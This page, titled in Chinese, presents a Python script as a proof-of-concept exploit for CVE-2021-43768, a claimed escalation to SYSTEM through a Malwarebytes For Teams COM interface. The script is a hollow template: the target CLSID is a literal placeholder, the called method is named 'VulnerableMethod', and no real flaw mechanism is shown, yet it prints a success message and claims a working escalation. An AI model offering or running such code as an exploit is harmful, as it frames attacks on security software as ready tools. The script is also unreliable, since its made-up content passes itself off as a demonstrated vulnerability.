CVE-2021-43768: Malwarebytes For Teams COM接口权限提升漏洞

# CVE-2021-43768 PoC - Malwarebytes For Teams COM Privilege Escalation # This PoC demonstrates the privilege escalation via COM interface # Reference: https://hackerone.com/reports/895316 import pythoncom import pywintypes from win32com.client import Dispatch def exploit_cve_2021_43768(): """ Exploit for CVE-2021-43768: Malwarebytes For Teams COM Interface Privilege Escalation Target: mbamservice.exe Effect: Escalates from low privileged user to SYSTEM """ try: # Initialize COM security context pythoncom.CoInitializeSecurity( None, -1, None, None, pythoncom.RPC_C_AUTHN_LEVEL_DEFAULT, pythoncom.RPC_C_IMP_LEVEL_IMPERSONATE, None, 0, None ) # Target CLSID for Malwarebytes COM interface (example placeholder) # In real exploitation, replace with actual CLSID from mbamservice.exe target_clsid = "{XXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}" # Create instance of vulnerable COM object obj = Dispatch(target_clsid) # Trigger vulnerability through specific method call # The vulnerable method allows arbitrary code execution obj.VulnerableMethod("calc.exe") # Example: spawns calculator as proof print("[+] Privilege escalation successful!") return True except Exception as e: print(f"[-] Exploitation failed: {e}") return False if __name__ == "__main__": print("CVE-2021-43768 Malwarebytes For Teams COM Privilege Escalation") print("=" * 60) exploit_cve_2021_43768()